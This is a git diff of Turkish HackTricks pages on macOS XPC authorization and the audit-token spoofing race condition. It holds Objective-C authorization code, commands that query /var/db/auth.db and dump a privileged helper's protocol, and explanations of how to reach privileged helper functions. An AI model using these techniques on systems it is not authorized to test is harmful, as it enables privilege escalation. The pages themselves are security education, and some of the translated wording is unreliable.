+Sıfırdan başlayarak AWS hacklemeyihtARTE (HackTricks AWS Red Team Expert) ile öğrenin!
HackTricks'i desteklemenin diğer yolları:
-* Şirketinizi **HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamını görmek** veya **HackTricks'i PDF olarak indirmek** için [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
* [**The PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu
-* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin**.
-* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) **ve** [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına katkıda bulunun**.
-
-
+* **Discord grubuna** 💬 [**katılın**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın** veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı göndererek PR'ler gönderin** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) **github depolarına.**
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
index 413636b8a..4c2ed950f 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-authorization.md
@@ -2,23 +2,23 @@
-AWS hacklemeyi sıfırdan ileri seviyeye öğreninhtARTE (HackTricks AWS Kırmızı Takım Uzmanı) ile!
+AWS hacklemeyi sıfırdan ileri seviyeye öğreninhtARTE (HackTricks AWS Red Team Expert) ile!
HackTricks'i desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**]'na göz atın (https://github.com/sponsors/carlospolop)!
+* **Şirketinizin HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Ailesi**]'ni (https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**]'in (https://opensea.io/collection/the-peass-family) bulunduğu koleksiyonumuz
-* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)'da **takip edin**.
-* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
## XPC Yetkilendirme
-Apple, bağlanan işlemin **bir XPC yöntemini çağırmak için izinlere sahip olup olmadığını doğrulamanın** başka bir yolunu da önerir.
+Apple, bağlanan işlemin **bir XPC yöntemini çağırmaya izin** **olup olmadığını doğrulamanın** başka bir yolunu da önerir.
-Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için uygulamadan çağrılabilen bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
+Bir uygulamanın **yetkili bir kullanıcı olarak işlemler gerçekleştirmesi gerektiğinde**, genellikle uygulamayı yetkili bir kullanıcı olarak çalıştırmak yerine, bu işlemleri gerçekleştirmek için çağrılabilecek bir XPC hizmeti olarak HelperTool'u kök olarak yükler. Ancak, hizmeti çağıran uygulamanın yeterli yetkilendirmeye sahip olması gerekir.
### ShouldAcceptNewConnection her zaman YES
@@ -106,7 +106,7 @@ assert(blockErr == errAuthorizationSuccess);
}];
}
```
-`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevdir:
+`enumerateRightsUsingBlock` işlevi, `commandInfo` içinde tanımlanan uygulama izinlerini almak için kullanılan işlevidir:
```objectivec
static NSString * kCommandKeyAuthRightName = @"authRightName";
static NSString * kCommandKeyAuthRightDefault = @"authRightDefault";
@@ -186,13 +186,13 @@ block(authRightName, authRightDefault, authRightDesc);
```
Bu, işlem sonunda `commandInfo` içinde belirtilen izinlerin `/var/db/auth.db` içinde saklanacağı anlamına gelir. **Her bir yöntem için** bulabileceğiniz şeylere dikkat edin ki **kimlik doğrulaması gerektirecek**, **izin adı** ve **`kCommandKeyAuthRightDefault`**. Sonuncusu **bu hakkı kimin alabileceğini belirtir**.
-Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
+Bir hakkı kimin erişebileceğini belirtmek için farklı kapsamlar vardır. Bunlardan bazıları [AuthorizationDB.h](https://github.com/aosm/Security/blob/master/Security/libsecurity\_authorization/lib/AuthorizationDB.h) içinde tanımlanmıştır (hepsini [burada bulabilirsiniz](https://www.dssw.co.uk/reference/authorization-rights/)), ancak özetle:
-
Ad
Değer
Açıklama
kAuthorizationRuleClassAllow
allow
Herkes
kAuthorizationRuleClassDeny
deny
Hiç kimse
kAuthorizationRuleIsAdmin
is-admin
Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRuleAuthenticateAsSessionUser
authenticate-session-owner
Kullanıcıdan kimlik doğrulaması iste
kAuthorizationRuleAuthenticateAsAdmin
authenticate-admin
Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRightRule
rule
Kuralları belirt
kAuthorizationComment
comment
Haklar hakkında ekstra yorumlar belirt
+
Ad
Değer
Açıklama
kAuthorizationRuleClassAllow
allow
Herkes
kAuthorizationRuleClassDeny
deny
Hiç kimse
kAuthorizationRuleIsAdmin
is-admin
Mevcut kullanıcının bir yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRuleAuthenticateAsSessionUser
authenticate-session-owner
Kullanıcıdan kimlik doğrulaması iste
kAuthorizationRuleAuthenticateAsAdmin
authenticate-admin
Kullanıcıdan kimlik doğrulaması iste. Yönetici olması gerekiyor (yönetici grubu içinde)
kAuthorizationRightRule
rule
Kuralları belirt
kAuthorizationComment
comment
Hakka ek açıklamalar belirt
-### Haklar Doğrulaması
+### Hak Doğrulama
-`HelperTool/HelperTool.m` içindeki **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
+`HelperTool/HelperTool.m` içinde **`readLicenseKeyAuthorization`** fonksiyonu, **bu tür bir yöntemi** yürütmeye yetkili olup olmadığını kontrol ederken **`checkAuthorization`** fonksiyonunu çağıranın yetkilendirilip yetkilendirilmediğini kontrol eder. Bu işlev, çağıran işlem tarafından gönderilen **authData**'nın **doğru biçimde** olup olmadığını kontrol edecek ve ardından belirli bir yöntemi çağırmak için **gerekenin ne olduğunu** kontrol edecektir. Her şey yolunda giderse, **döndürülen `error` `nil` olacaktır**:
```objectivec
- (NSError *)checkAuthorization:(NSData *)authData command:(SEL)command
{
@@ -240,19 +240,19 @@ assert(junk == errAuthorizationSuccess);
return error;
}
```
-Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne **`commandInfo`**'yu kontrol edecektir. Daha sonra, işlevi çağırmak için **`AuthorizationCopyRights`**'ı çağıracaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
+Not edin ki, o yöntemi çağırmak için gereksinimleri kontrol etmek için `authorizationRightForCommand` işlevi sadece önceden yorumlanmış nesne `commandInfo`'yu kontrol edecektir. Daha sonra, işlevi çağırmak için hakları olup olmadığını kontrol etmek için `AuthorizationCopyRights` çağrılacaktır (bayrakların kullanıcıyla etkileşime izin verdiğine dikkat edin).
-Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault`'ın `@kAuthorizationRuleClassAllow` olarak tanımlandığı belirtilmiştir. Bu yüzden **herkes onu** çağırabilir.
+Bu durumda, `readLicenseKeyAuthorization` işlevini çağırmak için `kCommandKeyAuthRightDefault` `@kAuthorizationRuleClassAllow` olarak tanımlanmıştır. Bu yüzden **herkes onu çağırabilir**.
### DB Bilgisi
-Bu bilginin `/var/db/auth.db` içinde depolandığı belirtilmiştir. Tüm depolanan kuralları listeleyebilirsiniz:
+Bu bilginin `/var/db/auth.db` içinde depolandığı belirtildi. Tüm depolanan kuralları listeleyebilirsiniz:
```sql
sudo sqlite3 /var/db/auth.db
SELECT name FROM rules;
SELECT name FROM rules WHERE name LIKE '%safari%';
```
-Ardından, kimin erişim hakkına sahip olduğunu okuyabilirsiniz:
+Ardından, kimin erişim hakkına sahip olduğunu şu şekilde okuyabilirsiniz:
```bash
security authorizationdb read com.apple.safaridriver.allow
```
@@ -262,13 +262,13 @@ security authorizationdb read com.apple.safaridriver.allow
1. **'authenticate-user': 'false'**
* Bu en doğrudan anahtardır. `false` olarak ayarlandığında, bir kullanıcının bu hakkı elde etmek için kimlik doğrulaması sağlaması gerekmez.
-* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle **kullanılır**.
+* Bu, kullanıcının ait olması gereken bir grupla birlikte veya aşağıdaki 2 seçenekten biriyle birlikte kullanılır.
2. **'allow-root': 'true'**
-* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı muhtemelen bu hakkı ek kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
+* Bir kullanıcı kök kullanıcı olarak çalışıyorsa (yükseltilmiş izinlere sahip), ve bu anahtar `true` olarak ayarlanmışsa, kök kullanıcı bu hakkı muhtemelen daha fazla kimlik doğrulaması olmadan elde edebilir. Ancak genellikle, kök kullanıcı durumuna ulaşmak zaten kimlik doğrulama gerektirir, bu nedenle çoğu kullanıcı için bu bir "kimlik doğrulama olmadan" senaryosu değildir.
3. **'session-owner': 'true'**
-* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açmış olan kullanıcı) bu hakkı otomatik olarak alacaktır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir.
+* `true` olarak ayarlandığında, oturumun sahibi (şu anda oturum açık olan kullanıcı) bu hakkı otomatik olarak alır. Bu, kullanıcının zaten oturum açmışsa ek kimlik doğrulamayı atlayabilir.
4. **'shared': 'true'**
-* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulamasına gerek duymadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`.
+* Bu anahtar kimlik doğrulamasız haklar vermez. Bunun yerine, `true` olarak ayarlanırsa, hak doğrulandıktan sonra, her birinin yeniden kimlik doğrulaması yapmadan birden fazla işlem arasında paylaşılabileceği anlamına gelir. Ancak hak ilk olarak kimlik doğrulaması gerektirecektir, başka anahtarlarla birleştirilmediği sürece, örneğin `'authenticate-user': 'false'`.
```bash
Rights with 'authenticate-user': 'false':
is-admin (admin), is-admin-nonshared (admin), is-appstore (_appstore), is-developer (_developer), is-lpadmin (_lpadmin), is-root (run as root), is-session-owner (session owner), is-webdeveloper (_webdeveloper), system-identity-write-self (session owner), system-install-iap-software (run as root), system-install-software-iap (run as root)
@@ -281,15 +281,15 @@ authenticate-session-owner, authenticate-session-owner-or-admin, authenticate-se
```
## Yetkilendirme Geri Mühendisliği
-### EvenBetterAuthorization'ın Kullanılıp Kullanılmadığını Kontrol Etme
+### EvenBetterAuthorization Kullanılıp Kullanılmadığını Kontrol Etme
Eğer **`[HelperTool checkAuthorization:command:]`** fonksiyonunu bulursanız, muhtemelen işlem önceden bahsedilen yetkilendirme şemasını kullanıyor:
-
+
Bu fonksiyon, `AuthorizationCreateFromExternalForm`, `authorizationRightForCommand`, `AuthorizationCopyRights`, `AuhtorizationFree` gibi fonksiyonları çağırıyorsa, [**EvenBetterAuthorizationSample**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L101-L154) kullanıyor demektir.
-Kullanıcı etkileşimi olmadan bazı ayrıcalıklı işlemleri çağırmak için izin alınabilir mi diye görmek için **`/var/db/auth.db`**'yi kontrol edin.
+Bazı ayrıcalıklı eylemleri kullanıcı etkileşimi olmadan çağırma izinlerini almak mümkün olup olmadığını görmek için **`/var/db/auth.db`** dosyasını kontrol edin.
### Protokol İletişimi
@@ -297,11 +297,11 @@ Daha sonra, XPC servisi ile iletişim kurabilmek için protokol şemasını bulm
**`shouldAcceptNewConnection`** fonksiyonu dışa aktarılan protokolü gösterir:
-
+
-Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeye sahibiz, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
+Bu durumda, EvenBetterAuthorizationSample'da olduğu gibi aynı şeyi bulduk, [**bu satıra bakın**](https://github.com/brenwell/EvenBetterAuthorizationSample/blob/e1052a1855d3a5e56db71df5f04e790bfd4389c4/HelperTool/HelperTool.m#L94).
-Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkündür**:
+Kullanılan protokolün adını bildiğinizde, **başlık tanımını dump etmek mümkün olacaktır**:
```bash
class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
@@ -317,9 +317,9 @@ class-dump /Library/PrivilegedHelperTools/com.example.HelperTool
```
Son olarak, onunla iletişim kurabilmek için açığa çıkarılan Mach Servisinin adını bilmemiz gerekiyor. Bunu bulmanın birkaç yolu vardır:
-* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yerde:
+* **`[HelperTool init()]`** içinde kullanılan Mach Servisinin görüldüğü yer:
-
+
* launchd plist dosyasında:
```xml
@@ -339,7 +339,7 @@ cat /Library/LaunchDaemons/com.example.HelperTool.plist
Bu örnekte şunlar oluşturulmuştur:
* Fonksiyonlarla protokolün tanımı
-* Erişim istemek için kullanılacak boş bir yetkilendirme
+* Erişim istemek için kullanılacak boş bir kimlik doğrulaması
* XPC servisine bağlantı
* Bağlantı başarılıysa fonksiyonu çağırma
```objectivec
@@ -425,14 +425,14 @@ NSLog(@"Finished!");
-Sıfırdan kahraman olana kadar AWS hacklemeyi öğreninhtARTE (HackTricks AWS Red Team Expert)!
+Sıfırdan kahraman olmak için AWS hackleme öğreninhtARTE (HackTricks AWS Red Team Expert)!
HackTricks'ı desteklemenin diğer yolları:
-* **Şirketinizi HackTricks'te reklamını görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
+* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARI**](https://github.com/sponsors/carlospolop)'na göz atın!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
-* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) katılın veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin.**
-* **Hacking püf noktalarınızı paylaşarak PR'ler göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
+* [**The PEASS Family**](https://opensea.io/collection/the-peass-family) koleksiyonumuzu keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family)
+* **💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) **katılın veya** bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**'da takip edin.**
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
diff --git a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
index ac0ec180e..2e1935ec1 100644
--- a/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
+++ b/macos-hardening/macos-security-and-privilege-escalation/macos-proces-abuse/macos-ipc-inter-process-communication/macos-xpc/macos-xpc-connecting-process-check/macos-xpc_connection_get_audit_token-attack.md
@@ -8,15 +8,15 @@ HackTricks'ı desteklemenin diğer yolları:
* **Şirketinizi HackTricks'te reklamınızı görmek istiyorsanız** veya **HackTricks'i PDF olarak indirmek istiyorsanız** [**ABONELİK PLANLARINI**](https://github.com/sponsors/carlospolop) kontrol edin!
* [**Resmi PEASS & HackTricks ürünlerini**](https://peass.creator-spring.com) edinin
-* [**The PEASS Family'yi**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
+* [**PEASS Ailesi'ni**](https://opensea.io/collection/the-peass-family) keşfedin, özel [**NFT'lerimiz**](https://opensea.io/collection/the-peass-family) koleksiyonumuz
* **Katılın** 💬 [**Discord grubuna**](https://discord.gg/hRep4RUj7f) veya [**telegram grubuna**](https://t.me/peass) veya bizi **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)** takip edin**.
-* **Hacking püf noktalarınızı göndererek HackTricks ve HackTricks Cloud** github depolarına PR'lar göndererek paylaşın.
+* **Hacking püf noktalarınızı paylaşarak PR'lar göndererek** [**HackTricks**](https://github.com/carlospolop/hacktricks) ve [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github depolarına katkıda bulunun.
**Daha fazla bilgi için orijinal yazıya bakın:** [**https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/**](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing/). Bu bir özet:
-## Mach Mesajları Temel Bilgileri
+## Mach Mesajları Temel Bilgiler
Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye başlayın:
@@ -24,8 +24,7 @@ Mach Mesajlarının ne olduğunu bilmiyorsanız, bu sayfayı kontrol etmeye baş
[macos-ipc-inter-process-communication](../../../../mac-os-architecture/macos-ipc-inter-process-communication/)
{% endcontent-ref %}
-Şu anda hatırlamanız gereken şey ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
-
+Şu anda ([buradan tanım](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):\
Mach mesajları, mach çekirdeğine yerleştirilmiş **tek alıcı, çok gönderen iletişim** kanalı olan bir _mach portu_ üzerinden gönderilir. **Birden fazla işlem**, bir mach porta mesaj gönderebilir, ancak herhangi bir anda **yalnızca bir işlem** onu okuyabilir. Dosya tanımlayıcıları ve soketler gibi, mach portları çekirdek tarafından tahsis edilir ve yönetilir ve işlemler yalnızca bir tamsayı görür, bu tamsayıyı kullanarak hangi mach portlarının kullanılacağını çekirdeğe belirtebilirler.
## XPC Bağlantısı
@@ -38,49 +37,49 @@ Bir XPC bağlantısının nasıl kurulduğunu bilmiyorsanız kontrol edin:
## Zafiyet Özeti
-Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknolojiye dayanır, bu nedenle:**
+Bilmeniz gereken ilginç şey şudur ki **XPC'nin soyutlaması birbirine bağlı bir bağlantıdır**, ancak **çoklu göndericiye sahip olabilen bir teknoloji üzerine kurulmuştur, bu nedenle:**
-* Mach portları tek alıcı, **çoklu gönderici**dir.
+* Mach portları tek alıcı, **çoklu gönderen**'dir.
* Bir XPC bağlantısının denetim belgesi, **en son alınan mesajdan kopyalanır**.
* Bir XPC bağlantısının **denetim belgesini elde etmek**, birçok **güvenlik denetimleri** için kritiktir.
Önceki durum umut verici görünse de, bu duruma neden olmayacak bazı senaryolar vardır ([buradan](https://sector7.computest.nl/post/2023-10-xpc-audit-token-spoofing)):
-* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimler savunmasız değildir** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvenli olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
-* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt dışı!) mesajlar tarafından üzerine yazılamaz**.
+* Denetim belgeleri genellikle bir bağlantıyı kabul edip etmeyeceğine karar vermek için bir yetkilendirme denetimi için kullanılır. Bu, bir hizmet bağlantısına bir mesaj kullanılarak gerçekleştiğinden, henüz **bağlantı kurulmamıştır**. Bu bağlantı noktasındaki daha fazla mesajlar sadece ek bağlantı istekleri olarak ele alınır. Bu nedenle, **bağlantıyı kabul etmeden önce yapılan denetimlerde zafiyet yoktur** (bu ayrıca `-listener:shouldAcceptNewConnection:` içinde denetim belgesinin güvende olduğu anlamına gelir). Bu nedenle **belirli eylemleri doğrulayan XPC bağlantıları arıyoruz**.
+* XPC olay işleyicileri eşzamanlı olarak işlenir. Bu, bir mesaj için olay işleyicisinin bir sonraki mesaj için çağrılması gerektiği anlamına gelir, hatta eşzamanlı dağıtım kuyruklarında bile. Bu nedenle **XPC olay işleyicisi içinde denetim belgesi başka normal (yanıt olmayan!) mesajlar tarafından üzerine yazılamaz**.
-Bu, nasıl sömürülebileceğine dair iki farklı yöntem vardır:
+Bu, bu durumun nasıl sorunlara yol açmayacağını açıklayan iki farklı yöntemdir:
1. Varyant1:
-* **Sömürü**, hizmet **A** ve hizmet **B'ye** bağlanır.
-* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir.
-* **Hizmet A**, bir **`dispatch_async`** içinde olmadan **`xpc_connection_get_audit_token`** çağırırken **denetim belgesini alır**.
+* **Saldırı**, hizmet **A** ve hizmet **B**'ye bağlanır.
+* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
+* Hizmet **A**, bir **`dispatch_async`** içinde olmadığı sırada **`xpc_connection_get_audit_token`**'ı çağırır.
* Bu nedenle **farklı** bir mesaj, olay işleyicisi dışında asenkron olarak gönderildiği için **Denetim Belgesi üzerine yazılabilir**.
-* Sömürü, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
-* Bu nedenle svc **B**, aslında mesajları hizmet **A'ya gönderir**.
-* **Sömürü**, **aşamalı işlemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (sömürünün ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar).
+* Saldırı, **hizmet A'ya SEND hakkını hizmet B'ye geçirir**.
+* Bu nedenle svc **B**, mesajları aslında hizmet **A'ya gönderir**.
+* **Saldırı**, **ayrıcalıklı eylemi çağırmaya çalışır**. Bir RC svc **A**, bu **eylemin yetkilendirmesini kontrol ederken svc B Denetim belgesini üzerine yazdı** (saldırının ayrıcalıklı eylemi çağırma erişimine sahip olmasını sağlar).
2. Varyant 2:
-* Hizmet **B**, kullanıcının yapamayacağı bir **aşamalı işlevi** hizmet **A'da** çağırabilir.
-* Sömürü, **hizmet A'ya** bağlanır ve hizmetten belirli bir **yanıt bekleyen bir mesaj** gönderir.
-* Sömürü, **hizmet** B'ye **o yanıt portunu** geçen bir mesaj gönderir.
-* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken**, **sömürü** ayrı bir **mesajı hizmet A'ya göndererek ayrıcalıklı bir işlevi** ulaşmaya çalışır ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anında üzerine yazmasını bekler (Yarış Koşulu).
+* Hizmet **B**, kullanıcının yapamayacağı bir **ayrıcalıklı işlevi** hizmet **A**'da çağırabilir.
+* Saldırı, **hizmet A** ile bağlantı kurar ve hizmet **A'dan belirli bir yanıt bekleyen bir mesajı** belirli bir **yanıt** **portuna** gönderir.
+* Saldırı, **hizmet** B'ye **bu yanıt portunu** geçiren bir mesaj gönderir.
+* Hizmet **B yanıt verdiğinde**, **mesajı hizmet A'ya gönderirken** **saldırı**, ayrıcalıklı bir işleme ulaşmaya çalışan farklı bir **mesajı hizmet A'ya gönderir** ve hizmet B'den gelen yanıtın Denetim belgesini mükemmel anda üzerine yazmasını bekler (Yarış Koşulu).
## Varyant 1: xpc\_connection\_get\_audit\_token'ın olay işleyicisi dışında çağrılması
Senaryo:
* Bağlanabileceğimiz iki mach hizmeti **`A`** ve **`B`** (kum havuzu profili ve bağlantıyı kabul etmeden önce yetkilendirme denetimlerine dayalı).
-* _**A**_, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** yapmalı (ancak uygulamamız yapamaz).
+* _**A**_'nın, **`B`**'nin geçebileceği belirli bir eylem için bir **yetkilendirme denetimi** olmalı (ancak uygulamamız yapamaz).
* Örneğin, B bazı **ayrıcalıklara** sahipse veya **root** olarak çalışıyorsa, A'dan ayrıcalıklı bir eylem gerçekleştirmesini istemesine izin verebilir.
-* Bu yetkilendirme denetimi için **`A`**, örneğin `dispatch_async`'den **`xpc_connection_get_audit_token`** çağırarak denetim belgesini asenkron olarak alır.
+* Bu yetkilendirme denetimi için, **`A`**, örneğin `dispatch_async`'den **xpc_connection_get_audit_token**'ı çağırarak denetim belgesini asenkron olarak alır.
{% hint style="danger" %}
-Bu durumda bir saldırgan, **A'dan bir eylem gerçekleştirmesini isteyen bir sömürü** oluşturabilirken **B'nin A'ya mesaj göndermesini sağlayan bir Yarış Koşulu** tetikleyebilir. RC başarılı olduğunda, **B'nin denetim belgesi**, **sömürü**nün A tarafından **işlenirken** hafızaya kopyalanır ve **sömürü**nün **yalnızca B'nin isteyebileceği ayrıcalıklı eyleme erişimini** verir.
